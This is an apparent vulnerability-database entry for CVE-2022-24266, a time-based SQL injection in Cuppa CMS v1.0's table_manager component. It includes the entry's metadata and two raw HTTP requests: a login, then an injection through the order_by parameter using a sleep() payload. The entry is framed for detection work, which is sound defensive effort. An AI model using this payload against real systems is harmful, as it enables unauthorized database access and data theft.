🔙 목록으로 돌아가기

CVE-2022-24266: Cuppa CMS v1.0 - SQL injection

TitleCuppa CMS v1.0 - SQL injection
Authortheamanrawat
SeverityHigh
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire system.
RemediationUpgrade to the latest version of Cuppa CMS or apply the provided patch to fix the SQL injection vulnerability.
CVSS Score7.5
EPSS Score0.59035
CVE IDCVE-2022-24266
CWE IDCWE-89
Tags time-based-sqli cve cve2022 sqli cuppa authenticated cuppacms vuln

🔍 Vulnerability Description

Cuppa CMS v1.0 was discovered to contain a SQL injection vulnerability in /administrator/components/table_manager/ via the order_by parameter.

🌐 HTTP Request

POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Connection: close
Content-Length: 50
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

user=Jq0Ak3&password=tN9SJm&language=en&task=login
POST /components/table_manager/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Connection: close
Content-Length: 148
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip

order_by=id`,if(SUBSTRING('test',1,1)='t',sleep(6),sleep(0))--+-&path=component%2Ftable_manager%2Fview%2Fcu_users&uniqueClass=wrapper_content_919044

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-24266.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-24266.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A